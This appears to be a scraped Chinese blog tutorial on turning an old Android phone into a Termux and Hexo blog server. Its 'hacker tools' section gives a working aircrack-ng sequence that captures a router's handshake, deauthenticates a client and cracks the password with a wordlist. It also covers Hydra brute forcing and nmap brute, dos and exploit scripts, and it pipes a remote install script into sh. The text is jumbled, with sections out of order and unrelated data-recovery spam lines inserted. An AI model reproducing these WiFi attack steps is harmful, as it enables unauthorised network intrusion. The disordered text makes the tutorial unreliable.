作者:admin 日期:2023-09-14 瀏覽: 次
舊手機(jī)不丟,創(chuàng)意無(wú)窮——Android手機(jī)變身博客服務(wù)器完全指南
npm install hexo-cli -g
npm install hexo-cli -g
hexo init blog
cd blog
npm install
hexo g # 生成靜態(tài)文件
hexo s # 啟動(dòng)hexo
手機(jī)端
電腦端
2.3、開始在手機(jī)上編輯博客:
2.3.1、新建文件:
hexo new "每天必用的7個(gè)PROMPT技巧 "
2.3.2、vim 編輯文件:
vim ~/blog/source/_posts/GPT-的-PROMPT.md
2.3.3、編輯文件模式的快捷鍵:
i 修改模式
Esc鍵進(jìn)入“普通模式,冒號(hào)(:)將出現(xiàn)在屏幕底部
:wq 寫和退出
:q! 強(qiáng)制退出Vim,用于放棄保存修改的情況
2.3.4、 輸入:hexo s ,啟動(dòng)hexo
更多配置:
https://hexo.io/zh-cn/docs/configuration
-r 表示遞歸刪除,即刪除文件夾及其所有子文件夾和文件
2.4、你也可以設(shè)置外網(wǎng)使用:
參考1:您需要注冊(cè)Pinggy并訂閱Pinggy Pro。然后轉(zhuǎn)到儀表板,點(diǎn)擊導(dǎo)航欄上的自定義域。
https://pinggy.io/
放置您想要使用的自定義域,Pinggy將提供您需要在域的DNS設(shè)置中配置的CNAME記錄。設(shè)置CNAME記錄后,只需單擊“驗(yàn)證”,然后單擊“頒發(fā)證書”按鈕即可完成自定義域的配置。
一旦配置了自定義域,只需在Pinggy tunnel命令中使用Pinggy儀表板中的令牌:
ssh -p 443 -R0:localhost:8080 <put your pinggy token here>@a.pinggy.io
參考2:也可以選擇騰訊云,注冊(cè)域名:
https://www.dnspod.cn/domain/tlds/cloud
三、白客工具
輸入you-get +鏈接,下載視頻、圖片、音頻:
3.1 下載視頻
you-get -o /storage/emulated/0/DCIM/ --itag=18 'https://youtu.be/lWv3QaJvBio'
-o /storage/emulated/0/DCIM/ 保存手機(jī)相冊(cè)目錄下
--itag=18 默認(rèn)MP4格式下載
3.2 下載圖片
you-get -o /storage/emulated/0/DCIM/ https://stallman.org/rms.jpg
手機(jī)相冊(cè) 查看
更多應(yīng)用,比如:
著名黑客組織thc的一款開源的暴力破解密碼工具,功能非常強(qiáng)大,kali下是默認(rèn)安裝的,幾乎支持所有協(xié)議的在線破解。密碼能否破解,在于字典是否強(qiáng)大.
參數(shù) | 介紹 |
---|---|
-h | 查看幫助菜單。 |
-R | 繼續(xù)從上一次進(jìn)度接著破解。 |
-S | 采用SSL鏈接。 |
-s | PORT 可通過(guò)這個(gè)參數(shù)指定非默認(rèn)端口。 |
-l | LOGIN 指定破解的用戶,對(duì)特定用戶破解。 |
https://github.com/vanhauser-thc/thc-hydra
airmon-ng start wlan0 開啟網(wǎng)卡wlan0監(jiān)聽模式
.iwconfig 查看網(wǎng)卡狀態(tài),發(fā)現(xiàn)wlan0mon,表示已開啟成功
airdump-ng wlan0mon 掃描附近WIFI
airodump-ng -c 1 -w /usr/ccdir/target_test --bssid 42:C8:9A:E4:4A:69 wlan0mon
監(jiān)聽路由
aireplay-ng -0 5 -a 42:C8:9A:E4:4A:69 -c 7E:6B:98:6C:CE:89 wlan0mon
對(duì)路由發(fā)起攻擊
重新打開一個(gè)終端,之前的窗口繼續(xù)保留,用來(lái)查看是否抓包成功
aircrack-ng -w /usr/ccdir/pass/test.txt -b 42:C8:9A:E4:4A:69 /usr/ccdir/target_test-01.cap
對(duì)包進(jìn)行暴力破解
w后接的字典
mac地址后接cap包文件
Nmap
用來(lái)探測(cè)計(jì)算機(jī)網(wǎng)絡(luò)上的主機(jī)和服務(wù)的一種安全掃描器。為了繪制網(wǎng)絡(luò)拓?fù)鋱D,Nmap的發(fā)送特制的數(shù)據(jù)包到目標(biāo)主機(jī),然后對(duì)返回?cái)?shù)據(jù)包進(jìn)行分析。
nmap --script=類別
- auth: 負(fù)責(zé)處理鑒權(quán)證書(繞開鑒權(quán))的腳本
-broadcast: 在局域網(wǎng)內(nèi)探查更多服務(wù)開啟狀況,,如dhcp/dns/sqlserver等服務(wù)
- brute: 提供暴力破解方式,針對(duì)常見的應(yīng)用如http/snmp等
- default: 使用-sC或-A選項(xiàng)掃描時(shí)候默認(rèn)的腳本,提供基本腳本掃描能力
- discovery: 對(duì)網(wǎng)絡(luò)進(jìn)行更多的信息,如SMB枚舉、SNMP查詢等
- dos: 用于進(jìn)行拒絕服務(wù)攻擊
- exploit: 利用已知的漏洞入侵系統(tǒng)
- external: 利用第三方的數(shù)據(jù)庫(kù)或資源,例如進(jìn)行whois解析
- fuzzer: 模糊測(cè)試的腳本,發(fā)送異常的包到目標(biāo)機(jī),探測(cè)出潛在漏洞
- intrusive: 入侵性的腳本,此類腳本可能引發(fā)對(duì)方的IDS/IPS的記錄或屏蔽
- malware: 探測(cè)目標(biāo)機(jī)是否感染了病毒、開啟了后門等信息
- safe: 此類與intrusive相反,屬于安全性腳本
- version: 負(fù)責(zé)增強(qiáng)服務(wù)與版本掃描(Version Detection)功能的腳本
- vuln: 負(fù)責(zé)檢查目標(biāo)機(jī)是否有常見的漏洞(Vulnerability),如是否有MS08_067
更多有趣的應(yīng)用:
1. 安裝SSH服務(wù),遠(yuǎn)程登錄你的Android手機(jī)。這可以讓你通過(guò)PC登錄手機(jī)進(jìn)行各種操作。
2. 安裝oh-my-zsh,pimp你的bash終端。可以安裝各種主題,高亮,自動(dòng)補(bǔ)全等功能。讓你的終端看起來(lái)很酷。
3. 安裝Vim或者Emacs,進(jìn)行代碼編輯。可以直接在手機(jī)上編寫代碼,非常方便。
4. 安裝Git,進(jìn)行版本控制。可以在手機(jī)上進(jìn)行coding,commit,push等操作。
5. 安裝Python, Ruby, Node.js等,進(jìn)行腳本開發(fā)和測(cè)試。可以把手機(jī)變成一個(gè)小型開發(fā)環(huán)境。
6. 安裝監(jiān)控工具如htop,iftop等。可以監(jiān)控手機(jī)的CPU,內(nèi)存,網(wǎng)絡(luò)流量,進(jìn)程等信息。
7. 安裝Пandoc,可以進(jìn)行Markdown轉(zhuǎn)換為各種格式。可以在手機(jī)上編寫Markdown,然后轉(zhuǎn)換為PDF,Word等格式。
8. 安裝Clash for Android,科學(xué)上網(wǎng)。可以結(jié)合SSH遠(yuǎn)程登錄使用。
9. 安裝Nginx,可以搭建一個(gè)Web服務(wù)器。結(jié)合上面提到的Git等工具,可以將手機(jī)變成一個(gè)迷你網(wǎng)站主機(jī)。
Termux可以讓你的Android手機(jī)變得極其強(qiáng)大!
為了提高下載速度,更換到國(guó)內(nèi)的鏡像
termux-change-repo
選擇“ALL IN CHINA"
為了提供網(wǎng)頁(yè)服務(wù),我們需要在設(shè)備上安裝一個(gè)網(wǎng)絡(luò)服務(wù)器,這將有助于我們稍后共享網(wǎng)站。
2.1 更新 packages:
pkg update
pkg upgrade
2.2 安裝 openssh client ;Node.js;nginx;php
pkg install openssh
pkg install nodejs-lts
pkg install nginx
pkg install php-fpm
2.3 檢查版本
node --version
npm --version
2.4 安裝 Python
pkg install python
2.5 安裝其它基本工具
pkg update
pkg install vim curl wget git unzip unrar
pkg install nano proot curl wget git tree -y
2.6 apt 安裝,更多指令參考
pkg 命令向下兼容 apt 命令,只是運(yùn)行前會(huì)執(zhí)行一次 apt update,保證安裝的是最新版本。
apt update // 更新源
apt upgrade // 升級(jí)軟件包
apt install git // 分布式管理工具
apt install wget // 下載工具
apt install vim // vim編輯器
apt install tar // 解壓縮工具
apt install less // termux下vim支持觸摸移動(dòng)光標(biāo)移動(dòng)位置
pkg search <query> 搜索包
pkg install <package> 安裝包
pkg uninstall <package> 卸載包
pkg reinstall <package> 重新安裝包
pkg update 更新源
pkg upgrade 升級(jí)軟件包
pkg list-all 列出可供安裝的所有包
pkg list-installed 列出已經(jīng)安裝的包
pkg show <package> 顯示某個(gè)包的詳細(xì)信息
pkg files <package> 顯示某個(gè)包的相關(guān)文件夾路徑
3、更換程序界面配色
sh -c "$(curl -fsSL https://github.com/Cabbagec/termux-ohmyzsh/raw/master/install.sh)"
Enter a number, leave blank to not to change: 14
Enter a number, leave blank to not to change: 6
顏色更換后:
更多補(bǔ)充
a、手機(jī)沒(méi)有 root
pkg install proot
termux-chroot
可以模擬 root 環(huán)境,在這個(gè) proot 環(huán)境下面,相當(dāng)于是進(jìn)入了 home 目錄
輸入 exit 可回到普通用戶身份
pkg install termux-api
也可以使用nano編輯器從終端編輯網(wǎng)頁(yè)
常州數(shù)據(jù)恢復(fù)
現(xiàn)在啟動(dòng)http服務(wù)器
npx http-server &
馬鞍山數(shù)據(jù)恢復(fù)
棲霞數(shù)據(jù)恢復(fù)